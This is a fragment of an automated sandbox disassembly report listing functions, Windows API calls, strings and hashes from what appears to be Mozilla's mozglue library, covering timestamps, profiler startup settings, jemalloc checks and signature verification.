GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C57369F
__aulldiv.LIBCMT ref: 6C5736E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C573773
EnterCriticalSection.KERNEL32(6C5FF688), ref: 6C57377E
LeaveCriticalSection.KERNEL32(6C5FF688), ref: 6C5737BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5737C4
EnterCriticalSection.KERNEL32(6C5FF688), ref: 6C5737CB
LeaveCriticalSection.KERNEL32(6C5FF688), ref: 6C573801
__aulldiv.LIBCMT ref: 6C573883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C573902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C573918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C57394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C5735DB
GenuntelineI, xrefs: 6C573639
GTC, xrefs: 6C573912
AuthcAMDenti, xrefs: 6C573946
QPC, xrefs: 6C5738FC

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 0491b9576e6b542dcf751902b6d23d28e1d0a5e4f0c9076cb6fe150ea914e777
Instruction ID: ed9ac5dc239b4d1d8ff973fb70d89049a122c12e9d54c4307945e318b33ff9df
Opcode Fuzzy Hash: 0491b9576e6b542dcf751902b6d23d28e1d0a5e4f0c9076cb6fe150ea914e777
Instruction Fuzzy Hash: 76B1D3B1B053109BDB0CDF28EC4461E7BF5AB89710F068A2DE5A9D3750EB709841CF99

Function 6C58C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C58C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C58C969
GetSystemInfo.KERNEL32(?), ref: 6C58C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C58C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C58C9E2

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 2001e149ff85b894ee2323dcf8f7cf5b0afe89a5b7ac76d4a2101552dc088b9f
Instruction ID: 3c66177d7e1ec1e97437af21a05f3f676e2354e4005acc77052381adb59045da
Opcode Fuzzy Hash: 2001e149ff85b894ee2323dcf8f7cf5b0afe89a5b7ac76d4a2101552dc088b9f
Instruction Fuzzy Hash: D021FF31742218ABDB08AE65EC84BAE73B9AB46704F510659F917D7F40E7707C04CBA5

Function 6C573060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C573095

Part of subcall function 6C5735A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C5FF688,00001000), ref: 6C5735D5
Part of subcall function 6C5735A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5735E0
Part of subcall function 6C5735A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5735FD
Part of subcall function 6C5735A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C57363F
Part of subcall function 6C5735A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C57369F
Part of subcall function 6C5735A0: __aulldiv.LIBCMT ref: 6C5736E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C57309F

Part of subcall function 6C595B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5956EE,?,00000001), ref: 6C595B85
Part of subcall function 6C595B50: EnterCriticalSection.KERNEL32(6C5FF688,?,?,?,6C5956EE,?,00000001), ref: 6C595B90
Part of subcall function 6C595B50: LeaveCriticalSection.KERNEL32(6C5FF688,?,?,?,6C5956EE,?,00000001), ref: 6C595BD8
Part of subcall function 6C595B50: GetTickCount64.KERNEL32 ref: 6C595BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5730BE

Part of subcall function 6C5730F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C573127
Part of subcall function 6C5730F0: __aulldiv.LIBCMT ref: 6C573140

Part of subcall function 6C5AAB2A: __onexit.LIBCMT ref: 6C5AAB30

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: bc802a790ff42619e2a753f3388c920aa493a4bf6c46cdc42d55011ad27f371d
Instruction ID: 1574d552d49833a69ab677af4204440fb94033a7171f28c197ace01786e465f8
Opcode Fuzzy Hash: bc802a790ff42619e2a753f3388c920aa493a4bf6c46cdc42d55011ad27f371d
Instruction Fuzzy Hash: 48F04932D20748D2CA14DF74AC411EE73B0AFAB114F421319E86593A11FF2066D8C7CE

Non-executed Functions

Function 6C585440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C585492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5854A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5854BE
__Init_thread_footer.LIBCMT ref: 6C5854DB

Part of subcall function 6C5AAB3F: EnterCriticalSection.KERNEL32(6C5FE370,?,?,6C573527,6C5FF6CC,?,?,?,?,?,?,?,?,6C573284), ref: 6C5AAB49
Part of subcall function 6C5AAB3F: LeaveCriticalSection.KERNEL32(6C5FE370,?,6C573527,6C5FF6CC,?,?,?,?,?,?,?,?,6C573284,?,?,6C5956F6), ref: 6C5AAB7C

Part of subcall function 6C5ACBE8: GetCurrentProcess.KERNEL32(?,6C5731A7), ref: 6C5ACBF1
Part of subcall function 6C5ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5731A7), ref: 6C5ACBFA

GetCurrentThreadId.KERNEL32 ref: 6C5854F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C585516
GetCurrentThreadId.KERNEL32 ref: 6C58556A
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C585577
moz_xmalloc.MOZGLUE(00000070), ref: 6C585585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C585590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5855E6
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C585606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C585616

Part of subcall function 6C5AAB89: EnterCriticalSection.KERNEL32(6C5FE370,?,?,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284), ref: 6C5AAB94
Part of subcall function 6C5AAB89: LeaveCriticalSection.KERNEL32(6C5FE370,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284,?,?,6C5956F6), ref: 6C5AABD1

GetCurrentThreadId.KERNEL32 ref: 6C58563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C585646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C58567C
free.MOZGLUE(?), ref: 6C5856AE

Part of subcall function 6C595E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C595EDB
Part of subcall function 6C595E90: memset.VCRUNTIME140(ew]l,000000E5,?), ref: 6C595F27
Part of subcall function 6C595E90: LeaveCriticalSection.KERNEL32(?), ref: 6C595FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5856E8
GetCurrentThreadId.KERNEL32 ref: 6C585707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C58570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C585729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C58574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C58576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C585796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5857B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5857CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C58584E
MOZ_BASE_PROFILER_HELP, xrefs: 6C585511
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C585AC9
GeckoMain, xrefs: 6C585554, 6C5855D5
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5854A3
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C585D24
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C585BBE
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C585D2B
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C585724
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C585717
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C585D1C
MOZ_PROFILER_STARTUP, xrefs: 6C5855E1
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5854B9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5857C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C585B38
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5856E3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C585C56
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C585791
[I %d/%d] profiler_init, xrefs: 6C58564E
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C585D01
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C585CF9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C585766
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5857AE
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C585749
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C58548D

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 84afda00914017d88108ca04f561325a419c6db75e860e7293835cf99af29c5e
Instruction ID: ae65a19307d4c9baaaf002dc4e362c0406868539c71e5880b70eeb8d8bc489ef
Opcode Fuzzy Hash: 84afda00914017d88108ca04f561325a419c6db75e860e7293835cf99af29c5e
Instruction Fuzzy Hash: 662223B0905310CBFB04AF349C5865ABBF5AF86348F854A2AE867D7B41E7309849CF57

Function 6C5BB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5BB845
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8,?,?,00000000), ref: 6C5BB852
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BB884
InitializeConditionVariable.KERNEL32(?), ref: 6C5BB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C5BB9FD
GetCurrentThreadId.KERNEL32 ref: 6C5BBA05
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8,?,?,00000000), ref: 6C5BBA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C5BBA27
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BBA4B
free.MOZGLUE(?), ref: 6C5BC9C7
free.MOZGLUE(?), ref: 6C5BC9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C5BC878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C5BC7DA

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 9422aed49a8836be5ab90f0fad205dd63a07a70b7b9889f19d4d83a6e9609fd4
Instruction ID: ab414d9f9bafce142e964d91d5eba4d14808e1840d84b133b84aa920d41ad9f1
Opcode Fuzzy Hash: 9422aed49a8836be5ab90f0fad205dd63a07a70b7b9889f19d4d83a6e9609fd4
Instruction Fuzzy Hash: 77A29E71A083808FC725DF28C89079FBBE5BFC9314F454A2DE899A7750DB71A905CB86

Function 6C586C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C586CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C586D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C586D26

Part of subcall function 6C58CA10: malloc.MOZGLUE(?), ref: 6C58CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C586D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C586D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C586D73
free.MOZGLUE(00000000), ref: 6C586D80
CertGetNameStringW.CRYPT32 ref: 6C586DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C586DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C586DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C586DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C586E10
CryptMsgClose.CRYPT32(00000000), ref: 6C586E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C586E34
CreateFileW.KERNEL32 ref: 6C586EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C586F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C586F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C58709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C587103
free.MOZGLUE(00000000), ref: 6C587153
CloseHandle.KERNEL32(?), ref: 6C587176
__Init_thread_footer.LIBCMT ref: 6C587209
__Init_thread_footer.LIBCMT ref: 6C58723A
__Init_thread_footer.LIBCMT ref: 6C58726B
__Init_thread_footer.LIBCMT ref: 6C58729C
__Init_thread_footer.LIBCMT ref: 6C5872DC
__Init_thread_footer.LIBCMT ref: 6C58730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5873C2
VerSetConditionMask.NTDLL ref: 6C5873F3
VerSetConditionMask.NTDLL ref: 6C5873FF
VerSetConditionMask.NTDLL ref: 6C587406
VerSetConditionMask.NTDLL ref: 6C58740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C58741A
moz_xmalloc.MOZGLUE(?), ref: 6C58755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C587568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C587585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C587598
free.MOZGLUE(00000000), ref: 6C5875AC

Part of subcall function 6C5AAB89: EnterCriticalSection.KERNEL32(6C5FE370,?,?,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284), ref: 6C5AAB94
Part of subcall function 6C5AAB89: LeaveCriticalSection.KERNEL32(6C5FE370,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284,?,?,6C5956F6), ref: 6C5AABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C5872C8
SHA256, xrefs: 6C586EC0
wintrust.dll, xrefs: 6C5872CD
(, xrefs: 6C58768A

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: eba67ab1ff4f596b90b1c25eb1189f5c1a14570d012442aa93d29e980f7c541e
Instruction ID: ddfb05aff9bfe6965d3bc99c42f7d7b67e509accbb14762ed6a3ef7cc2257514
Opcode Fuzzy Hash: eba67ab1ff4f596b90b1c25eb1189f5c1a14570d012442aa93d29e980f7c541e
Instruction Fuzzy Hash: 0752F5B1A01328DBEB25DF64CC84BAA77B8EB85704F014199F519E7A40DB70AF85CF61

Function 6C5A6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5FE7DC), ref: 6C5A7019
LeaveCriticalSection.KERNEL32(6C5FE7DC), ref: 6C5A7061
EnterCriticalSection.KERNEL32(?), ref: 6C5A71A4
LeaveCriticalSection.KERNEL32(?), ref: 6C5A721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C5A723E
EnterCriticalSection.KERNEL32(?), ref: 6C5A726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5A72B2
LeaveCriticalSection.KERNEL32(?), ref: 6C5A733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5A73E8
LeaveCriticalSection.KERNEL32(?), ref: 6C5A961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5A9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5A9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5A964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5A96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5A96DB
AcquireSRWLockExclusive.KERNEL32(6C5FE804), ref: 6C5A9747
GetSystemInfo.KERNEL32(?), ref: 6C5A9792
__Init_thread_footer.LIBCMT ref: 6C5A97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C5FE810,00000040), ref: 6C5A97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5FE7B8,00001388), ref: 6C5A9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5FE744,00001388), ref: 6C5A984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5FE784,00001388), ref: 6C5A9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5FE7DC,00001388), ref: 6C5A9895

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5A99D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5A99BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5A9933, 6C5A9A33, 6C5A9A4E
MOZ_CRASH(), xrefs: 6C5A9B42
<jemalloc>, xrefs: 6C5A9B33, 6C5A9BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5A99A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5A9BF4
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5A9993
MALLOC_OPTIONS, xrefs: 6C5A97CA
Compile-time page size does not divide the runtime one., xrefs: 6C5A9B38

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: ca5217d50df8e593e1525b9e3c2af651c62c06e66c94ca6b4f81ceec19d33dd2
Instruction ID: c988dc24fcd335dcf93344a91e606a81f023083f9b3007e30d00d800fcf87bf1
Opcode Fuzzy Hash: ca5217d50df8e593e1525b9e3c2af651c62c06e66c94ca6b4f81ceec19d33dd2
Instruction Fuzzy Hash: BA53AE71A057118FC704CF6AC980719BBE1FF89328F29C66DE8698B795D771E842CB81

Function 6C5B0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5B0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C5B0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C5B0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C5B0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C5B1031
LeaveCriticalSection.KERNEL32(?), ref: 6C5B10D0
EnterCriticalSection.KERNEL32(?), ref: 6C5B117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C5B1C39
EnterCriticalSection.KERNEL32(6C5FE744), ref: 6C5B3391
LeaveCriticalSection.KERNEL32(6C5FE744), ref: 6C5B33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C5B3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5B3437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5B37D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5B37BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5B3559, 6C5B382D, 6C5B3848
MOZ_CRASH(), xrefs: 6C5B3950
<jemalloc>, xrefs: 6C5B3941, 6C5B39F1
